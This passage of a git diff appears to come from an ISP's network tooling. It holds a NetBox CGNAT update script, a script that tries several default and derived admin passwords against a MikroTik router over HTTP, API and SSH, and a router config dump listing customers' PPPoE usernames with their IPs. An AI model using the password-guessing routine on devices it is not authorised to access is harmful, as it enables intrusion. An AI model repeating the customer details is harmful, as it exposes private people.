deleted = True
else:
print(f" ✗ Error: {response.status_code}")
return deleted
def main():
print("=== Site 982 CGNAT Update Script ===\n")
# Step 1: Get site 982
print("1. Finding site 982...")
response = requests.get(f'{NETBOX_URL}dcim/sites/', headers=headers, params={'name': '982'})
sites = response.json()['results']
if not sites:
print("✗ Site 982 not found!")
sys.exit(1)
site = sites[0]
site_id = site['id']
print(f"✓ Found site: {site['name']} (ID: {site_id})")
# Step 2: Get the router
print("\n2. Finding 982-router...")
response = requests.get(f'{NETBOX_URL}dcim/devices/', headers=headers, params={'name': '982-router', 'site_id': site_id})
devices = response.json()['results']
if not devices:
print("✗ 982-router not found!")
sys.exit(1)
device = devices[0]
device_id = device['id']
print(f"✓ Found device: {device['name']} (ID: {device_id})")
# Step 3: Clean up old configurations
print("\n3. Cleaning up old configurations...")
# Delete old CGNAT prefix
print(" Removing old CGNAT prefix 100.64.32.0/22...")
delete_prefix_by_cidr('100.64.32.0/22')
# Delete any existing 100.64.48.0/20 prefix (from previous attempts)
print(" Removing any existing 100.64.48.0/20 prefix...")
delete_prefix_by_cidr('100.64.48.0/20')
# Delete old IP address
print(" Removing old IP 100.64.35.254/22...")
delete_ip_by_address('100.64.35.254/22')
# Delete any existing new IP (from previous attempts)
print(" Removing any existing 100.64.63.254/20...")
delete_ip_by_address('100.64.63.254/20')
# Step 4: Create or find CGNAT interface
print("\n4. Setting up CGNAT interface...")
response = requests.get(f'{NETBOX_URL}dcim/interfaces/', headers=headers, params={'device_id': device_id, 'name': 'cgnat'})
interfaces = response.json()['results']
if interfaces:
interface = interfaces[0]
interface_id = interface['id']
print(f"✓ Found existing CGNAT interface (ID: {interface_id})")
else:
# Create interface
interface_data = {
'device': device_id,
'name': 'cgnat',
'type': 'virtual',
'enabled': True,
'description': 'CGNAT interface'
}
response = requests.post(f'{NETBOX_URL}dcim/interfaces/', headers=headers, json=interface_data)
if response.status_code == 201:
interface = response.json()
interface_id = interface['id']
print(f"✓ Created CGNAT interface (ID: {interface_id})")
else:
print(f"✗ Error creating interface: {response.status_code}")
print(response.text)
sys.exit(1)
# Step 5: Get or create Customer role
print("\n5. Setting up Customer role...")
response = requests.get(f'{NETBOX_URL}ipam/roles/', headers=headers, params={'name': 'Customer'})
roles = response.json()['results']
if roles:
role = roles[0]
role_id = role['id']
print(f"✓ Found Customer role (ID: {role_id})")
else:
# Create role
role_data = {
'name': 'Customer',
'slug': 'customer'
}
response = requests.post(f'{NETBOX_URL}ipam/roles/', headers=headers, json=role_data)
if response.status_code == 201:
role = response.json()
role_id = role['id']
print(f"✓ Created Customer role (ID: {role_id})")
else:
print(f"✗ Error creating role: {response.status_code}")
sys.exit(1)
# Step 6: Create the new CGNAT prefix
print("\n6. Creating new CGNAT prefix 100.64.48.0/20...")
# Try creating without site first, then update
prefix_data = {
'prefix': '100.64.48.0/20',
'role': role_id,
'status': 'active',
'description': 'CGNAT subnet for site 982',
'tags': []
}
response = requests.post(f'{NETBOX_URL}ipam/prefixes/', headers=headers, json=prefix_data)
if response.status_code == 201:
prefix = response.json()
prefix_id = prefix['id']
print(f"✓ Created prefix (ID: {prefix_id})")
# Now try to assign site
print(" Assigning prefix to site 982...")
# Try different approaches
# Approach 1: PATCH with just site
patch_data = {'site': site_id}
response = requests.patch(f'{NETBOX_URL}ipam/prefixes/{prefix_id}/', headers=headers, json=patch_data)
if response.status_code != 200:
# Approach 2: PUT with all fields
put_data = {
'prefix': '100.64.48.0/20',
'site': site_id,
'role': role_id,
'status': 'active',
'description': 'CGNAT subnet for site 982'
}
response = requests.put(f'{NETBOX_URL}ipam/prefixes/{prefix_id}/', headers=headers, json=put_data)
if response.status_code in [200, 201]:
updated_prefix = response.json()
if updated_prefix.get('site'):
print(f" ✓ Prefix assigned to site {updated_prefix['site']['name']}")
else:
print(" ⚠ Warning: Site assignment may have failed")
else:
print(f" ⚠ Warning: Could not assign site: {response.status_code}")
else:
print(f"✗ Error creating prefix: {response.status_code}")
print(response.text)
sys.exit(1)
# Step 7: Create the new IP address
print("\n7. Creating new IP address 100.64.63.254/20...")
ip_data = {
'address': '100.64.63.254/20',
'assigned_object_type': 'dcim.interface',
'assigned_object_id': interface_id,
'status': 'active',
'description': 'CGNAT gateway for site 982',
'tags': []
}
response = requests.post(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, json=ip_data)
if response.status_code == 201:
ip = response.json()
ip_id = ip['id']
print(f"✓ Created IP address (ID: {ip_id})")
else:
print(f"✗ Error creating IP: {response.status_code}")
print(response.text)
sys.exit(1)
# Step 8: Final verification
print("\n=== VERIFICATION ===")
# Check prefixes
print("\nPrefixes with 100.64.48.0/20:")
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': '100.64.48.0/20'})
prefixes = response.json()['results']
for prefix in prefixes:
site_info = f"Site: {prefix['site']['name']}" if prefix.get('site') else "Site: Not assigned"
role_info = f"Role: {prefix['role']['name']}" if prefix.get('role') else "Role: None"
print(f" - {prefix['prefix']} ({site_info}, {role_info})")
# Check IPs
print("\nIP addresses on 982-router:")
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'device_id': device_id})
ips = response.json()['results']
for ip in ips:
interface_info = f"Interface: {ip['assigned_object']['name']}" if ip.get('assigned_object') else "Unassigned"
print(f" - {ip['address']} ({interface_info})")
print("\n✅ Update completed!")
print("\nNOTE: If the prefix is not showing as assigned to site 982, this may be a")
print("permission or API limitation. The prefix and IP have been created successfully.")
if __name__ == '__main__':
main()

213
verify_mikrotik_access.py Normal file
View file

@ -0,0 +1,213 @@
#!/usr/bin/env python3
"""
Verify MikroTik Access - Reliable Authentication Tester
Tests if credentials actually work by attempting real operations
"""
import requests
from requests.auth import HTTPBasicAuth
import socket
import time
def test_http_with_verification(host, username, password):
"""Test HTTP auth by trying to access actual protected content"""
print(f"Testing HTTP: {username}:{password}")
try:
# Try to access WebFig directly (should redirect if authenticated)
session = requests.Session()
session.auth = HTTPBasicAuth(username, password)
# First, try the main page
response1 = session.get(f"http://{host}/", timeout=5, allow_redirects=False)
print(f" Main page status: {response1.status_code}")
# Try to access a specific WebFig resource
response2 = session.get(f"http://{host}/webfig/", timeout=5, allow_redirects=True)
print(f" WebFig status: {response2.status_code}")
print(f" Response length: {len(response2.text)}")
# Check if we actually got WebFig content (not login page)
if "webfig" in response2.text.lower() and "login" not in response2.text.lower():
print(f" ✓ Successfully accessed WebFig interface")
return True
elif response2.status_code == 200 and len(response2.text) > 1000:
print(f" ? Got content but uncertain if authenticated")
print(f" First 200 chars: {response2.text[:200]}")
return False
else:
print(f" ✗ Authentication failed or no WebFig access")
return False
except Exception as e:
print(f" ✗ HTTP test failed: {e}")
return False
def test_api_with_verification(host, username, password):
"""Test API auth by attempting actual API operations"""
print(f"Testing API: {username}:{password}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((host, 8728))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF]) # Error for long strings
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
# Multi-byte length
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 1000: # Sanity check
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
while True:
word = read_word()
if word == "":
break
sentence.append(word)
return sentence
# Send login
write_sentence(["/login", f"=name={username}", f"=password={password}"])
# Read login response
response = read_sentence()
print(f" Login response: {response}")
if response and response[0] == "!done":
print(f" ✓ Login successful, testing system identity...")
# Try to get system identity to verify we're actually authenticated
write_sentence(["/system/identity/print"])
identity_response = read_sentence()
print(f" Identity response: {identity_response}")
if identity_response and any("identity" in str(item).lower() for item in identity_response):
print(f" ✓ Successfully retrieved system information")
sock.close()
return True
else:
print(f" ? Login seemed successful but couldn't get system info")
sock.close()
return False
else:
print(f" ✗ Login failed")
sock.close()
return False
except Exception as e:
print(f" ✗ API test failed: {e}")
return False
def test_ssh_with_verification(host, username, password):
"""Test SSH auth with verification"""
print(f"Testing SSH: {username}:{password}")
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
host,
port=22,
username=username,
password=password,
timeout=5,
allow_agent=False,
look_for_keys=False,
)
# Try to execute a command to verify we're authenticated
stdin, stdout, stderr = client.exec_command("/system identity print")
output = stdout.read().decode()
print(f" Command output: {output[:100]}...")
if output and len(output) > 10:
print(f" ✓ SSH authentication and command execution successful")
client.close()
return True
else:
print(f" ? SSH connected but no command output")
client.close()
return False
except Exception as e:
print(f" ✗ SSH test failed: {e}")
return False
def main():
host = "10.250.2.2"
username = "admin"
# Test some of the passwords that showed "success" earlier
test_passwords = [
"", # Empty
"0000-0000", # Showed success
"0000-2018", # Showed success
"admin", # Common default
"d069-0bff", # Algorithm result
]
print(f"Verifying MikroTik access to {host}")
print("=" * 60)
for password in test_passwords:
pwd_display = f'"{password}"' if password else "(empty)"
print(f"\nTesting password: {pwd_display}")
print("-" * 40)
# Test all methods with verification
http_result = test_http_with_verification(host, username, password)
api_result = test_api_with_verification(host, username, password)
ssh_result = test_ssh_with_verification(host, username, password)
if any([http_result, api_result, ssh_result]):
print(f"\n*** VERIFIED SUCCESS: {pwd_display} ***")
print(f"HTTP: {'' if http_result else ''}")
print(f"API: {'' if api_result else ''}")
print(f"SSH: {'' if ssh_result else ''}")
return password
else:
print(f"All methods failed for {pwd_display}")
print(f"\nNo working passwords found among tested candidates.")
print("The earlier 'successes' were likely false positives.")
if __name__ == "__main__":
main()

1775
verona.rsc Normal file

File diff suppressed because it is too large Load diff

926
verona_config.json Normal file
View file

@ -0,0 +1,926 @@
{
"host": "10.254.254.101",
"identity": null,
"timestamp": "2026-03-26T17:14:54.272357",
"subnets": [
{
"address": "10.250.1.25/29",
"network": "10.250.1.24",
"interface": "ether3-climax-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.254.254.101/32",
"network": "10.254.254.101",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "100.64.3.254/22",
"network": "100.64.0.0",
"interface": "verona",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.254/27",
"network": "204.110.188.224",
"interface": "verona",
"comment": "",
"dynamic": false
},
{
"address": "100.64.15.254/22",
"network": "100.64.12.0",
"interface": "ether6-switch",
"comment": "",
"dynamic": false
},
{
"address": "10.10.95.254/20",
"network": "10.10.80.0",
"interface": "vlan_10_ether6",
"comment": "",
"dynamic": false
},
{
"address": "10.10.15.254/20",
"network": "10.10.0.0",
"interface": "vlan_10_ether6",
"comment": "",
"dynamic": false
},
{
"address": "10.0.101.254/24",
"network": "10.0.101.0",
"interface": "sfp-sfpplus1-verona-tower-switch",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.145/29",
"network": "10.250.1.144",
"interface": "ether6-switch",
"comment": "",
"dynamic": false
},
{
"address": "204.110.191.30/27",
"network": "204.110.191.0",
"interface": "vlan9_sfpplus1",
"comment": "",
"dynamic": false
},
{
"address": "10.25.1.254/24",
"network": "10.25.1.0",
"interface": "ether1",
"comment": "",
"dynamic": false
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.231",
"interface": "<pppoe-barbihardin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.21",
"interface": "<pppoe-whiteywhite>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.22",
"interface": "<pppoe-davidlanman>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.23",
"interface": "<pppoe-kimberlyrichards2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.236",
"interface": "<pppoe-dejadodson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.41",
"interface": "<pppoe-chrissyeagle>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.27",
"interface": "<pppoe-williamarmstrong>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.237",
"interface": "<pppoe-ronlewis>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.45",
"interface": "<pppoe-chrissyeagle2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.3",
"interface": "<pppoe-pablohernandez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.13",
"interface": "<pppoe-allentaylor2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.6",
"interface": "<pppoe-yolandamedrano>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.17",
"interface": "<pppoe-mariatrejo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.12",
"interface": "<pppoe-cherieeshelman>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.14",
"interface": "<pppoe-amberkrings>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.8",
"interface": "<pppoe-teresarobinson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.31",
"interface": "<pppoe-tjbanschbach>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.16",
"interface": "<pppoe-judydevine>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.7",
"interface": "<pppoe-allentaylor>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.61",
"interface": "<pppoe-sherryerichardson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.47",
"interface": "<pppoe-krystabates>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.229",
"interface": "<pppoe-vancepeltonen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.20",
"interface": "<pppoe-dananance>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.28",
"interface": "<pppoe-markfisher>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.235",
"interface": "<pppoe-austinwatkins>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.36",
"interface": "<pppoe-billmctee>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.233",
"interface": "<pppoe-joeywhitfield>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.26",
"interface": "<pppoe-karenstewart>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.35",
"interface": "<pppoe-pambanschbach>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.39",
"interface": "<pppoe-ericbarrett>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.40",
"interface": "<pppoe-debravega>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.230",
"interface": "<pppoe-kirkvanmeter>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.10",
"interface": "<pppoe-almaacosta>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.38",
"interface": "<pppoe-jacquelinewilder>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.69",
"interface": "<pppoe-keithtucker>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.67",
"interface": "<pppoe-bradslate>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.33",
"interface": "<pppoe-kimberlyrichards>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.32",
"interface": "<pppoe-stevenspurgers>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.18",
"interface": "<pppoe-crankkeith>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.25",
"interface": "<pppoe-dougstowe>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.37",
"interface": "<pppoe-nathanmctee>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.29",
"interface": "<pppoe-srireddy>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.5",
"interface": "<pppoe-maryhopper>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.66",
"interface": "<pppoe-michaeltalbot>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.15",
"interface": "<pppoe-scottarmstrong>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.68",
"interface": "<pppoe-donnance>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.46",
"interface": "<pppoe-kellygarza>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.44",
"interface": "<pppoe-stevechristiaens>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.24",
"interface": "<pppoe-penneywarner>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether3-climax-11ghz",
"type": "ether",
"mac": "78:9A:18:52:B1:BF",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-switch",
"type": "ether",
"mac": "78:9A:18:52:B1:C2",
"comment": "",
"mtu": 1500
},
{
"name": "sfp-sfpplus1-verona-tower-switch",
"type": "ether",
"mac": "78:9A:18:52:B1:CD",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-allentaylor2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-allentaylor>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-almaacosta>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-amberkrings>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-austinwatkins>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-barbihardin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-billmctee>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-bradslate>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-cherieeshelman>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chrissyeagle2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chrissyeagle>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-crankkeith>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-dananance>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-davidlanman>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-debravega>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-dejadodson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-donnance>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-dougstowe>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ericbarrett>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-jacquelinewilder>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joeywhitfield>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-judydevine>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-karenstewart>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-keithtucker>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kellygarza>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kimberlyrichards2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kimberlyrichards>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kirkvanmeter>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-krystabates>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mariatrejo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-markfisher>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-maryhopper>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-michaeltalbot>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-nathanmctee>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-pablohernandez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-pambanschbach>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-penneywarner>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ronlewis>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-scottarmstrong>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-sherryerichardson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-srireddy>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-stevechristiaens>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-stevenspurgers>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-teresarobinson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-tjbanschbach>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-vancepeltonen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-whiteywhite>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-williamarmstrong>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-yolandamedrano>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "cpe_vlan_10",
"type": "bridge",
"mac": "78:9A:18:52:B1:C6",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "82:B3:60:CE:62:81",
"comment": "",
"mtu": "auto"
},
{
"name": "public_vlan_100",
"type": "bridge",
"mac": "82:B3:60:CE:62:81",
"comment": "",
"mtu": 1500
},
{
"name": "temp",
"type": "bridge",
"mac": "26:46:20:4A:56:C4",
"comment": "",
"mtu": "auto"
},
{
"name": "verona",
"type": "bridge",
"mac": "78:9A:18:52:B1:C2",
"comment": "",
"mtu": 1500
},
{
"name": "vlan9_sfpplus1",
"type": "vlan",
"mac": "78:9A:18:52:B1:CD",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_10_ether6",
"type": "vlan",
"mac": "78:9A:18:52:B1:C2",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_19_ether6",
"type": "vlan",
"mac": "78:9A:18:52:B1:C2",
"comment": "",
"mtu": 1500
},
{
"name": "vxlan-380",
"type": "vxlan",
"mac": "26:46:20:4A:56:C4",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan9_sfpplus1",
"vlan_id": 9,
"interface": "sfp-sfpplus1-verona-tower-switch"
},
{
"name": "vlan10_ether15",
"vlan_id": 10,
"interface": "ether15_wave_n"
},
{
"name": "vlan10_sfpplus2",
"vlan_id": 10,
"interface": "sfp-sfpplus2-switch"
},
{
"name": "vlan_10_ether6",
"vlan_id": 10,
"interface": "verona"
},
{
"name": "vlan_19_ether6",
"vlan_id": 19,
"interface": "ether6-switch"
}
],
"pppoe_servers": [
{
"service_name": "verona",
"interface": "verona"
},
{
"service_name": "altoga",
"interface": "vlan_19_ether6"
}
],
"routes": [
{
"destination": "10.0.16.1/32",
"gateway": "204.110.188.225",
"distance": 1,
"comment": ""
},
{
"destination": "10.0.16.10/32",
"gateway": "204.110.188.225",
"distance": 1,
"comment": ""
},
{
"destination": "10.0.16.84/32",
"gateway": "204.110.188.225",
"distance": 1,
"comment": ""
},
{
"destination": "10.43.0.0/16",
"gateway": "204.110.191.1",
"distance": 1,
"comment": ""
}
]
}